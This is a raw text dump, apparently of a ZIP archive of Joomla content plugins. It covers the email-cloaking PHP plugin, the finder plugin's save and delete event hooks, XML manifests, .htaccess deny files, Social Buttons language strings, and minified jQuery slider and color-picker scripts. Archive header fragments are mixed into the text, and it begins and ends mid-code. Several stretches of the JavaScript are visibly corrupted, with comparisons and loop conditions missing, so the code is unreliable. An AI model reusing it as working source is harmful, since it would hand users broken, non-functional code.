str_replace('&', '&', $mail); $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code email@amail.com */ $pattern = $this->_getPattern($searchEmailLink, $searchEmailSpan); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0] . $regs[3][0]; $mailText = $regs[4][0] . $regs[5][0] . $regs[6][0] . $regs[7][0]; // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * anytext */ $pattern = $this->_getPattern($searchEmailLink, $searchTextSpan); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0] . $regs[3][0]; $mailText = $regs[4][0] . $regs[5][0] . addslashes($regs[6][0]) . $regs[7][0]; $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * */ $pattern = $this->_getPattern($searchEmailLink, $searchImage); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[1][0] . $regs[2][0] . $regs[3][0]; $mailText = $regs[5][0]; // Needed for handling of Body parameter $mail = str_replace('&', '&', $mail); // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * email@amail.com */ $pattern = $this->_getPattern($searchEmailLink, ($searchImage . $searchEmail)); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[1][0] . $regs[2][0] . $regs[3][0]; $mailText = $regs[4][0] . $regs[5][0] . $regs[6][0]; // Needed for handling of Body parameter $mail = str_replace('&', '&', $mail); // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * any text */ $pattern = $this->_getPattern($searchEmailLink, ($searchImage . $searchText)); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[1][0] . $regs[2][0] . $regs[3][0]; $mailText = $regs[4][0] . $regs[5][0] . addslashes($regs[6][0]); // Needed for handling of Body parameter $mail = str_replace('&', '&', $mail); // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } // Search for plain text email@amail.com $pattern = '~' . $searchEmail . '([^a-z0-9]|$)~i'; while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[1][0]; $replacement = JHtml::_('email.cloak', $mail, $mode); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[1][1], strlen($mail)); } return true; } } PK>\$Memailcloak/emailcloak.xmlnuW+A plg_content_emailcloak Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION emailcloak.php index.html en-GB.plg_content_emailcloak.ini en-GB.plg_content_emailcloak.sys.ini
PK>\)emailcloak/.htaccessnuW+A Order allow,deny Deny from all PK>\}finder/finder.phpnuW+Atrigger('onFinderAfterSave', array($context, $article, $isNew)); } /** * Finder before save content method * Article is passed by reference, but after the save, so no changes will be saved. * Method is called right after the content is saved * * @param string The context of the content passed to the plugin (added in 1.6) * @param object A JTableContent object * @param bool If the content is just about to be created * @since 2.5 */ public function onContentBeforeSave($context, $article, $isNew) { $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('finder'); // Trigger the onFinderBeforeSave event. $results = $dispatcher->trigger('onFinderBeforeSave', array($context, $article, $isNew)); } /** * Finder after delete content method * Article is passed by reference, but after the save, so no changes will be saved. * Method is called right after the content is saved * * @param string The context of the content passed to the plugin (added in 1.6) * @param object A JTableContent object * @since 2.5 */ public function onContentAfterDelete($context, $article) { $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('finder'); // Trigger the onFinderAfterDelete event. $results = $dispatcher->trigger('onFinderAfterDelete', array($context, $article)); } /** * Finder change state content method * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * @since 2.5 */ public function onContentChangeState($context, $pks, $value) { $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('finder'); // Trigger the onFinderChangeState event. $results = $dispatcher->trigger('onFinderChangeState', array($context, $pks, $value)); } /** * Finder change category state content method * Article is passed by reference, but after the save, so no changes will be saved. * Method is called right after the content is saved * * @param string $extension The extension whose category has been updated. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * @since 2.5 */ public function onCategoryChangeState($extension, $pks, $value) { $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('finder'); // Trigger the onFinderCategoryChangeState event. $dispatcher->trigger('onFinderCategoryChangeState', array($extension, $pks, $value)); } } PK>\zlqxxfinder/finder.xmlnuW+A plg_content_finder Joomla! Project December 2011 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_CONTENT_FINDER_XML_DESCRIPTION finder.php index.html en-GB.plg_content_finder.ini en-GB.plg_content_finder.sys.ini PK>\Vfinder/index.htmlnuW+A PK>\)finder/.htaccessnuW+A Order allow,deny Deny from all PK>\) .htaccessnuW+A Order allow,deny Deny from all PK>\#o,,!socialbuttons/language/index.htmlnuW+APK>\) socialbuttons/language/.htaccessnuW+A Order allow,deny Deny from all PK>\#o,,'socialbuttons/language/en-GB/index.htmlnuW+APK>\99Dsocialbuttons/language/en-GB/en-GB.plg_content_socialbuttons.sys.ininuW+A; @package Social Buttons ; @subpackage plg_socialbuttons ; @copyright Copyright (C) 2013 Elite Developers All rights reserved. ; @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html PLG_SOCIALBUTTONS_DESCRIPTIONS = "
Social Buttons

 

- Access Module: Extensions >> Plug-in Manager >> Social Buttons
- Configure Parameters
- Publish/Enable
- Save.
]]>" PK>\)&socialbuttons/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK>\+00@socialbuttons/language/en-GB/en-GB.plg_content_socialbuttons.ininuW+A; @package Social Buttons ; @subpackage plg_socialbuttons ; @copyright Copyright (C) 2013 Elite Developers All rights reserved. ; @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html PLG_SOCIALBUTTONS_DESCRIPTIONS = "
Social Buttons

 

- Access Module: Extensions >> Plug-in Manager >> Social Buttons
- Configure Parameters
- Publish/Enable
- Save.
]]>" PLG_SOCIALBUTTONS_OB ="Basic options" PLG_SOCIALBUTTONS_SHOW_FRONT = "Show on Featured page" PLG_SOCIALBUTTONS_SHOW_FRONT_DESC = "Show buttons on the front page and category blog pages" PLG_SOCIALBUTTONS_POSITION = "Position" PLG_SOCIALBUTTONS_POSITION_DESC = "Show plugin in position " PLG_SOCIALBUTTONS_ABOVE = "Top" PLG_SOCIALBUTTONS_BELOW = "Bottom" PLG_SOCIALBUTTONS_ALIGN = "Align" PLG_SOCIALBUTTONS_ALIGN_DESC = "Align" PLG_SOCIALBUTTONS_RIGHT = "Right" PLG_SOCIALBUTTONS_LEFT = "Left" PLG_SOCIALBUTTONS_EXCLUDE_CATEGORIE = "Exclude categories" PLG_SOCIALBUTTONS_EXCLUDE_CATEGORIE_DESC = "Select one or multiple Categories, by holding CTRL" PLG_SOCIALBUTTONS_EXCLUDE_ARTICLE_ID = "Exclude article id" PLG_SOCIALBUTTONS_EXCLUDE_ARTICLE_ID_DESC = "Add articles id seperated by comma (,)" PLG_SOCIALBUTTONS_FB_SETTINGS ="Facebook settings" PLG_SOCIALBUTTONS_FB_SHOW_BUTTON_LIKE = "Show Facebook button" PLG_SOCIALBUTTONS_FB_SHOW_BUTTON_LIKE_DESC = "Show or hide Facebook like button." PLG_SOCIALBUTTONS_YES = "Yes" PLG_SOCIALBUTTONS_NO = "No" PLG_SOCIALBUTTONS_FB_TYPE_LIKE = "Like Mode" PLG_SOCIALBUTTONS_FB_TYPE_LIKE_DESC = "The type of your Facebook like button." PLG_SOCIALBUTTONS_TYPE_HORIZONTAL = "Horizontal" PLG_SOCIALBUTTONS_TYPE_VERTICAL = "Vertical" PLG_SOCIALBUTTONS_TYPE_NONE = "None" PLG_SOCIALBUTTONS_TYPE_COUNTER ="Without counter" PLG_SOCIALBUTTONS_FB_WIDTH = "Width" PLG_SOCIALBUTTONS_FB_WIDTH_DESC = "Facebook Like button Width" PLG_SOCIALBUTTONS_FB_ACTION = "Facebook button Text" PLG_SOCIALBUTTONS_FB_ACTION_DESC = "Choose button text" PLG_SOCIALBUTTONS_FB_LIKE = "Like" PLG_SOCIALBUTTONS_FB_RECOMMEND = "Recommend" PLG_SOCIALBUTTONS_FB_COLOR = "Color Scheme" PLG_SOCIALBUTTONS_FB_COLOR_DESC = "Color scheme buttons Facebook Like" PLG_SOCIALBUTTONS_FB_LIGHT = "Light" PLG_SOCIALBUTTONS_FB_DARK = "Dark" PLG_SOCIALBUTTONS_FB_FONT = "Facebook Like Font" PLG_SOCIALBUTTONS_FB_FONT_DESC = "Button font" PLG_SOCIALBUTTONS_FB_LANGUAGE = "Language" PLG_SOCIALBUTTONS_FB_LANGUAGE_DESC = "Language button Facebook Like" PLG_SOCIALBUTTONS_TWT_SETTINGS ="Twitter settings" PLG_SOCIALBUTTONS_TWT_SHOW_BUTTON_TWITTER = "Show Twitter button" PLG_SOCIALBUTTONS_TWT_SHOW_BUTTON_TWITTER_DESC = "Show or hide Twitter button." PLG_SOCIALBUTTONS_TWT_TYPE_TWITTER = "Twitter Mode" PLG_SOCIALBUTTONS_TWT_TYPE_TWITTER_DESC = "Type of your Twitter button." PLG_SOCIALBUTTONS_TWT_LANGUAGE_TWITTER = "Twitter Language" PLG_SOCIALBUTTONS_TWT_LANGUAGE_TWITTER_DESC = "You can choose a language for the buttons Twitter" PLG_SOCIALBUTTONS_TWT_LANGUAGE_EN = "English" PLG_SOCIALBUTTONS_TWT_LANGUAGE_RU = "Russian" PLG_SOCIALBUTTONS_TWT_LANGUAGE_ES = "Spanish" PLG_SOCIALBUTTONS_TWT_LANGUAGE_IT = "Italian" PLG_SOCIALBUTTONS_TWT_LANGUAGE_KO = "Korean" PLG_SOCIALBUTTONS_TWT_LANGUAGE_DE = "German" PLG_SOCIALBUTTONS_TWT_LANGUAGE_PT = "Portuguese" PLG_SOCIALBUTTONS_TWT_LANGUAGE_TR = "Turkish" PLG_SOCIALBUTTONS_TWT_LANGUAGE_FR = "French" PLG_SOCIALBUTTONS_TWT_LANGUAGE_JA = "Japanese" PLG_SOCIALBUTTONS_G1_SETTINGS = "Google +1 Settings" PLG_SOCIALBUTTONS_G1_SHOW_BUTTON_GOOGLE = "Show Google +1 button" PLG_SOCIALBUTTONS_G1_SHOW_BUTTON_GOOGLE_DESC = "Show or hide Google +1 button." PLG_SOCIALBUTTONS_G1_TYPE_GOOGLE = "Google +1 Mode" PLG_SOCIALBUTTONS_G1_TYPE_GOOGLE_DESC = "The type of your Google +1 button." PLG_SOCIALBUTTONS_G1_MEDIUM = "Medium (20px)" PLG_SOCIALBUTTONS_G1_LARGE = "Tall (Vertical) (60px)" PLG_SOCIALBUTTONS_G1_SMALL = "Small (15px)" PLG_SOCIALBUTTONS_G1_STANDAR = "Standart (24px)" PLG_SOCIALBUTTONS_G1_LANGUAGE_GOOGLE = "Plus One Language" PLG_SOCIALBUTTONS_G1_LANGUAGE_GOOGLE_DESC = "Choose a Plus One language." PLG_SOCIALBUTTONS_LKN_SETTINGS = "Linkedin settings" PLG_SOCIALBUTTONS_LKN_SHOW_BUTTON_LINKEDIN = "Show LinkedIn" PLG_SOCIALBUTTONS_LKN_SHOW_BUTTON_LINKEDIN_DESC = "Show or hide LinkedIn button." PLG_SOCIALBUTTONS_LKN_TYPE_LINKEDIN = "LinkedIn Mode" PLG_SOCIALBUTTONS_LKN_TYPE_LINKEDIN_DESC = "The type of your LinkedIn button" PLG_SOCIALBUTTONS_TW_WIDTH = "Width" PLG_SOCIALBUTTONS_G1_WIDTH = "Width" PLG_SOCIALBUTTONS_LI_WIDTH = "Width" PLG_SOCIALBUTTONS_TW_WIDTH_DESC = "Twitter button Width" PLG_SOCIALBUTTONS_G1_WIDTH_DESC = "Google Plus button Width" PLG_SOCIALBUTTONS_LI_WIDTH_DESC = "LinkedIn button Width"PK>\+4ZZsocialbuttons/fields/slide3.jsnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ /*Minified*/ (function($){if(typeof(window['aToggler'])=="undefined"){$(document).ready(function(){if($('.aslider').length){aToggler.initialize();}else{$(function(){if($('.aslider').length){aToggler.initialize();}}).delay(2000);}});aToggler={togglers:{},elements:{},initialize:function(){this.togglers=$('.aslider');if(!this.togglers.length){return;}this.initTogglers();},initTogglers:function(){var self=this;var new_togglers={};$.each(this.togglers,function(i,toggler){if(toggler.id){$(toggler).show();$(toggler).removeAttr('height');toggler.height=$(toggler).height();toggler.elements={};toggler.nofx=$(toggler).hasClass('aslider_nofx');toggler.method=($(toggler).hasClass('aslider_and'))?'and':'or';toggler.ids=toggler.id.split('___');for(var i=1;i1){val=keyval[1];}if(typeof(toggler.elements[key])=="undefined"){toggler.elements[key]=[];}toggler.elements[key].push(val);if(typeof(self.elements[key])=="undefined"){self.elements[key]={};self.elements[key].elements=[];self.elements[key].values=[];self.elements[key].togglers=[];}self.elements[key].togglers.push(toggler.id);}new_togglers[toggler.id]=toggler;}});this.togglers=new_togglers;new_togglers=null;this.setElements();$.each(this.togglers,function(i,toggler){self.toggleByID(toggler.id,1);});$(document.body).delay(250).css('cursor','');},autoHeightDivs:function(){$.each($('div.col div, div.fltrt div'),function(i,el){if(el.getStyle('height')!='0px'&&!el.hasClass('input')&&!el.hasClass('a_hr')&&el.id.indexOf('gk_')===-1&&el.className.indexOf('gk_')===-1&&el.className.indexOf('switcher-')===-1){el.css('height','auto');}});},toggle:function(el_name){this.setValues(el_name);for(var i=0;i1){for(var i=0;i\^~ ::socialbuttons/fields/color3.jsnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ /*Minified*/ if(jQuery)(function($){$(document).ready(function(){$('.a_color').acolor();});$.acolor={defaultSettings:{animationSpeed:100,animationEasing:'swing',change:null,changeDelay:0,control:'hue',defaultValue:'',hide:null,hideSpeed:100,inline:false,letterCase:'lowercase',opacity:false,position:'default',show:null,showSpeed:100,swatchPosition:'left',textfield:true,theme:'default'}};$.extend($.fn,{acolor:function(method,data){switch(method){case'destroy':$(this).each(function(){destroy($(this));});return $(this);case'opacity':if(data===undefined){return $(this).attr('data-opacity');}else{$(this).each(function(){refresh($(this).attr('data-opacity',data));});return $(this);}case'rgbObject':return rgbObject($(this),method==='rgbaObject');case'rgbString':case'rgbaString':return rgbString($(this),method==='rgbaString')case'settings':if(data===undefined){return $(this).data('acolor-settings');}else{$(this).each(function(){var settings=$(this).data('acolor-settings')||{};destroy($(this));$(this).acolor($.extend(true,settings,data));});return $(this);}case'value':if(data===undefined){return $(this).val();}else{$(this).each(function(){refresh($(this).val(data));});return $(this);}case'create':default:if(method!=='create')data=method;$(this).each(function(){init($(this),data);});return $(this);}}});function init(input,settings){var acolor=$(''),defaultSettings=$.acolor.defaultSettings;if(input.data('acolor-initialized'))return;settings=$.extend(true,{},defaultSettings,settings);acolor.addClass('acolor-theme-'+settings.theme).addClass('acolor-swatch-position-'+settings.swatchPosition).toggleClass('acolor-swatch-left',settings.swatchPosition==='left').toggleClass('acolor-with-opacity',settings.opacity);if(settings.position!==undefined){$.each(settings.position.split(' '),function(){acolor.addClass('acolor-position-'+this);});}input.addClass('acolor-input').data('acolor-initialized',true).data('acolor-settings',settings).prop('size',7).prop('maxlength',7).wrap(acolor).after(''+''+''+''+''+''+''+''+''+''+''+'');input.parent().find('.acolor-panel').on('selectstart',function(){return false;}).end();if(settings.swatchPosition==='left'){input.before('');}else{input.after('');}if(!settings.textfield)input.addClass('acolor-hidden');if(settings.inline)input.parent().addClass('acolor-inline');updateFromInput(input);}function destroy(input){var acolor=input.parent();input.removeData('acolor-initialized').removeData('acolor-settings').removeProp('size').removeProp('maxlength').removeClass('acolor-input');acolor.before(input).remove();}function refresh(input){updateFromInput(input);}function show(input){var acolor=input.parent(),panel=acolor.find('.acolor-panel'),settings=input.data('acolor-settings');if(!input.data('acolor-initialized')||input.prop('disabled')||acolor.hasClass('acolor-focus'))return;hide();acolor.addClass('acolor-focus');panel.stop(true,true).fadeIn(settings.showSpeed,function(){if(settings.show)settings.show.call(input);});}function hide(){$('.acolor-input').each(function(){var input=$(this),settings=input.data('acolor-settings'),acolor=input.parent();if(settings.inline)return;acolor.find('.acolor-panel').fadeOut(settings.hideSpeed,function(){if(acolor.hasClass('acolor-focus')){if(settings.hide)settings.hide.call(input);}acolor.removeClass('acolor-focus');});});}function move(target,event,animate){var input=target.parents('.acolor').find('.acolor-input'),settings=input.data('acolor-settings'),picker=target.find('[class$=-picker]'),offsetX=target.offset().left,offsetY=target.offset().top,x=Math.round(event.pageX-offsetX),y=Math.round(event.pageY-offsetY),duration=animate?settings.animationSpeed:0,wx,wy,r,phi;if(event.originalEvent.changedTouches){x=event.originalEvent.changedTouches[0].pageX-offsetX;y=event.originalEvent.changedTouches[0].pageY-offsetY;}if(x<0)x=0;if(y<0)y=0;if(x>target.width())x=target.width();if(y>target.height())y=target.height();if(target.parent().is('.acolor-slider-wheel')&&picker.parent().is('.acolor-grid')){wx=75-x;wy=75-y;r=Math.sqrt(wx*wx+wy*wy);phi=Math.atan2(wy,wx);if(phi<0)phi+=Math.PI*2;if(r>75){r=75;x=75-(75*Math.cos(phi));y=75-(75*Math.sin(phi));}x=Math.round(x);y=Math.round(y);}if(target.is('.acolor-grid')){picker.stop(true).animate({top:y+'px',left:x+'px'},duration,settings.animationEasing,function(){updateFromControl(input);});}else{picker.stop(true).animate({top:y+'px'},duration,settings.animationEasing,function(){updateFromControl(input);});}}function updateFromControl(input){function getCoords(picker,container){var left,top;if(!picker.length||!container)return null;left=picker.offset().left;top=picker.offset().top;return{x:left-container.offset().left+(picker.outerWidth()/2),y:top-container.offset().top+(picker.outerHeight()/2)};}var hue,saturation,brightness,opacity,rgb,hex,x,y,r,phi,acolor=input.parent(),settings=input.data('acolor-settings'),panel=acolor.find('.acolor-panel'),swatch=acolor.find('.acolor-swatch'),grid=acolor.find('.acolor-grid'),slider=acolor.find('.acolor-slider'),opacitySlider=acolor.find('.acolor-opacity-slider'),gridPicker=grid.find('[class$=-picker]'),sliderPicker=slider.find('[class$=-picker]'),opacityPicker=opacitySlider.find('[class$=-picker]'),gridPos=getCoords(gridPicker,grid),sliderPos=getCoords(sliderPicker,slider),opacityPos=getCoords(opacityPicker,opacitySlider);switch(settings.control){case'wheel':x=(grid.width()/2)-gridPos.x;y=(grid.height()/2)-gridPos.y;r=Math.sqrt(x*x+y*y);phi=Math.atan2(y,x);if(phi<0)phi+=Math.PI*2;if(r>75){r=75;gridPos.x=69-(75*Math.cos(phi));gridPos.y=69-(75*Math.sin(phi));}saturation=keepWithin(r/0.75,0,100);hue=keepWithin(phi*180/Math.PI,0,360);brightness=keepWithin(100-Math.floor(sliderPos.y*(100/slider.height())),0,100);hex=hsb2hex({h:hue,s:saturation,b:brightness});slider.css('backgroundColor',hsb2hex({h:hue,s:saturation,b:100}));break;case'saturation':hue=keepWithin(parseInt(gridPos.x*(360/grid.width())),0,360);saturation=keepWithin(100-Math.floor(sliderPos.y*(100/slider.height())),0,100);brightness=keepWithin(100-Math.floor(gridPos.y*(100/grid.height())),0,100);hex=hsb2hex({h:hue,s:saturation,b:brightness});slider.css('backgroundColor',hsb2hex({h:hue,s:100,b:brightness}));acolor.find('.acolor-grid-inner').css('opacity',saturation/100);break;case'brightness':hue=keepWithin(parseInt(gridPos.x*(360/grid.width())),0,360);saturation=keepWithin(100-Math.floor(gridPos.y*(100/grid.height())),0,100);brightness=keepWithin(100-Math.floor(sliderPos.y*(100/slider.height())),0,100);hex=hsb2hex({h:hue,s:saturation,b:brightness});slider.css('backgroundColor',hsb2hex({h:hue,s:saturation,b:100}));acolor.find('.acolor-grid-inner').css('opacity',1-(brightness/100));break;default:hue=keepWithin(360-parseInt(sliderPos.y*(360/slider.height())),0,360);saturation=keepWithin(Math.floor(gridPos.x*(100/grid.width())),0,100);brightness=keepWithin(100-Math.floor(gridPos.y*(100/grid.height())),0,100);hex=hsb2hex({h:hue,s:saturation,b:brightness});grid.css('backgroundColor',hsb2hex({h:hue,s:100,b:100}));break;}if(settings.opacity){opacity=parseFloat(1-(opacityPos.y/opacitySlider.height())).toFixed(2);}else{opacity=1;}input.val(convertCase(hex,settings.letterCase));if(settings.opacity)input.attr('data-opacity',opacity);swatch.find('SPAN').css({backgroundColor:hex,opacity:opacity});if(hex+opacity!==input.data('acolor-lastChange')){input.data('acolor-lastChange',hex+opacity);if(settings.change){if(settings.changeDelay){clearTimeout(input.data('acolor-changeTimeout'));input.data('acolor-changeTimeout',setTimeout(function(){settings.change.call(input,hex,opacity);},settings.changeDelay));}else{settings.change.call(input,hex,opacity);}}}}function updateFromInput(input,preserveInputValue){var hex,hsb,opacity,x,y,r,phi,acolor=input.parent(),settings=input.data('acolor-settings'),swatch=acolor.find('.acolor-swatch'),grid=acolor.find('.acolor-grid'),slider=acolor.find('.acolor-slider'),opacitySlider=acolor.find('.acolor-opacity-slider'),gridPicker=grid.find('[class$=-picker]'),sliderPicker=slider.find('[class$=-picker]'),opacityPicker=opacitySlider.find('[class$=-picker]');hex=convertCase(parseHex(input.val(),true),settings.letterCase);if(!hex)hex=convertCase(parseHex(settings.defaultValue,true));hsb=hex2hsb(hex);if(!preserveInputValue)input.val(hex);if(settings.opacity){opacity=input.attr('data-opacity')===''?1:keepWithin(parseFloat(input.attr('data-opacity')).toFixed(2),0,1);input.attr('data-opacity',opacity);swatch.find('SPAN').css('opacity',opacity);y=keepWithin(opacitySlider.height()-(opacitySlider.height()*opacity),0,opacitySlider.height());opacityPicker.css('top',y+'px');}swatch.find('SPAN').css('backgroundColor',hex);switch(settings.control){case'wheel':r=keepWithin(Math.ceil(hsb.s*0.75),0,grid.height()/2);phi=hsb.h*Math.PI/180;x=keepWithin(75-Math.cos(phi)*r,0,grid.width());y=keepWithin(75-Math.sin(phi)*r,0,grid.height());gridPicker.css({top:y+'px',left:x+'px'});y=150-(hsb.b/(100/grid.height()));if(hex==='')y=0;sliderPicker.css('top',y+'px');slider.css('backgroundColor',hsb2hex({h:hsb.h,s:hsb.s,b:100}));break;case'saturation':x=keepWithin((5*hsb.h)/12,0,150);y=keepWithin(grid.height()-Math.ceil(hsb.b/(100/grid.height())),0,grid.height());gridPicker.css({top:y+'px',left:x+'px'});y=keepWithin(slider.height()-(hsb.s*(slider.height()/100)),0,slider.height());sliderPicker.css('top',y+'px');slider.css('backgroundColor',hsb2hex({h:hsb.h,s:100,b:hsb.b}));acolor.find('.acolor-grid-inner').css('opacity',hsb.s/100);break;case'brightness':x=keepWithin((5*hsb.h)/12,0,150);y=keepWithin(grid.height()-Math.ceil(hsb.s/(100/grid.height())),0,grid.height());gridPicker.css({top:y+'px',left:x+'px'});y=keepWithin(slider.height()-(hsb.b*(slider.height()/100)),0,slider.height());sliderPicker.css('top',y+'px');slider.css('backgroundColor',hsb2hex({h:hsb.h,s:hsb.s,b:100}));acolor.find('.acolor-grid-inner').css('opacity',1-(hsb.b/100));break;default:x=keepWithin(Math.ceil(hsb.s/(100/grid.width())),0,grid.width());y=keepWithin(grid.height()-Math.ceil(hsb.b/(100/grid.height())),0,grid.height());gridPicker.css({top:y+'px',left:x+'px'});y=keepWithin(slider.height()-(hsb.h/(360/slider.height())),0,slider.height());sliderPicker.css('top',y+'px');grid.css('backgroundColor',hsb2hex({h:hsb.h,s:100,b:100}));break;}}function rgbObject(input){var hex=parseHex($(input).val(),true),rgb=hex2rgb(hex),opacity=$(input).attr('data-opacity');if(!rgb)return null;if(opacity!==undefined)$.extend(rgb,{a:parseFloat(opacity)});return rgb;}function rgbString(input,alpha){var hex=parseHex($(input).val(),true),rgb=hex2rgb(hex),opacity=$(input).attr('data-opacity');if(!rgb)return null;if(opacity===undefined)opacity=1;if(alpha){return'rgba('+rgb.r+', '+rgb.g+', '+rgb.b+', '+parseFloat(opacity)+')';}else{return'rgb('+rgb.r+', '+rgb.g+', '+rgb.b+')';}}function convertCase(string,letterCase){return letterCase==='uppercase'?string.toUpperCase():string.toLowerCase();}function parseHex(string,expand){string=string.replace(/[^A-F0-9]/ig,'');if(string.length!==3&&string.length!==6)return'';if(string.length===3&&expand){string=string[0]+string[0]+string[1]+string[1]+string[2]+string[2];}return'#'+string;}function keepWithin(value,min,max){if(valuemax)value=max;return value;}function hsb2rgb(hsb){var rgb={};var h=Math.round(hsb.h);var s=Math.round(hsb.s*255/100);var v=Math.round(hsb.b*255/100);if(s===0){rgb.r=rgb.g=rgb.b=v;}else{var t1=v;var t2=(255-s)*v/255;var t3=(t1-t2)*(h%60)/60;if(h===360)h=0;if(h<60){rgb.r=t1;rgb.b=t2;rgb.g=t2+t3;}else if(h<120){rgb.g=t1;rgb.b=t2;rgb.r=t1-t3;}else if(h<180){rgb.g=t1;rgb.r=t2;rgb.b=t2+t3;}else if(h<240){rgb.b=t1;rgb.r=t2;rgb.g=t1-t3;}else if(h<300){rgb.b=t1;rgb.g=t2;rgb.r=t2+t3;}else if(h<360){rgb.r=t1;rgb.g=t2;rgb.b=t1-t3;}else{rgb.r=0;rgb.g=0;rgb.b=0;}}return{r:Math.round(rgb.r),g:Math.round(rgb.g),b:Math.round(rgb.b)};}function rgb2hex(rgb){var hex=[rgb.r.toString(16),rgb.g.toString(16),rgb.b.toString(16)];$.each(hex,function(nr,val){if(val.length===1)hex[nr]='0'+val;});return'#'+hex.join('');}function hsb2hex(hsb){return rgb2hex(hsb2rgb(hsb));}function hex2hsb(hex){var hsb=rgb2hsb(hex2rgb(hex));if(hsb.s===0)hsb.h=360;return hsb;}function rgb2hsb(rgb){var hsb={h:0,s:0,b:0};var min=Math.min(rgb.r,rgb.g,rgb.b);var max=Math.max(rgb.r,rgb.g,rgb.b);var delta=max-min;hsb.b=max;hsb.s=max!==0?255*delta/max:0;if(hsb.s!==0){if(rgb.r===max){hsb.h=(rgb.g-rgb.b)/delta;}else if(rgb.g===max){hsb.h=2+(rgb.b-rgb.r)/delta;}else{hsb.h=4+(rgb.r-rgb.g)/delta;}}else{hsb.h=-1;}hsb.h*=60;if(hsb.h<0){hsb.h+=360;}hsb.s*=100/255;hsb.b*=100/255;return hsb;}function hex2rgb(hex){hex=parseInt(((hex.indexOf('#')>-1)?hex.substring(1):hex),16);return{r:hex>>16,g:(hex&0x00FF00)>>8,b:(hex&0x0000FF)};}$(document).on('mousedown.acolor touchstart.acolor',function(event){if(!$(event.target).parents().add(event.target).hasClass('acolor')){hide();}}).on('mousedown.acolor touchstart.acolor','.acolor-grid, .acolor-slider, .acolor-opacity-slider',function(event){var target=$(this);event.preventDefault();$(document).data('acolor-target',target);move(target,event,true);}).on('mousemove.acolor touchmove.acolor',function(event){var target=$(document).data('acolor-target');if(target)move(target,event);}).on('mouseup.acolor touchend.acolor',function(){$(this).removeData('acolor-target');}).on('mousedown.acolor touchstart.acolor','.acolor-swatch',function(event){var input=$(this).parent().find('.acolor-input'),acolor=input.parent();if(acolor.hasClass('acolor-focus')){hide(input);}else{show(input);}}).on('focus.acolor','.acolor-input',function(event){var input=$(this);if(!input.data('acolor-initialized'))return;show(input);}).on('blur.acolor','.acolor-input',function(event){var input=$(this),settings=input.data('acolor-settings');if(!input.data('acolor-initialized'))return;input.val(parseHex(input.val(),true));if(input.val()==='')input.val(parseHex(settings.defaultValue,true));input.val(convertCase(input.val(),settings.letterCase));hide(input);}).on('keydown.acolor','.acolor-input',function(event){var input=$(this);if(!input.data('acolor-initialized'))return;switch(event.keyCode){case 9:hide();break;case 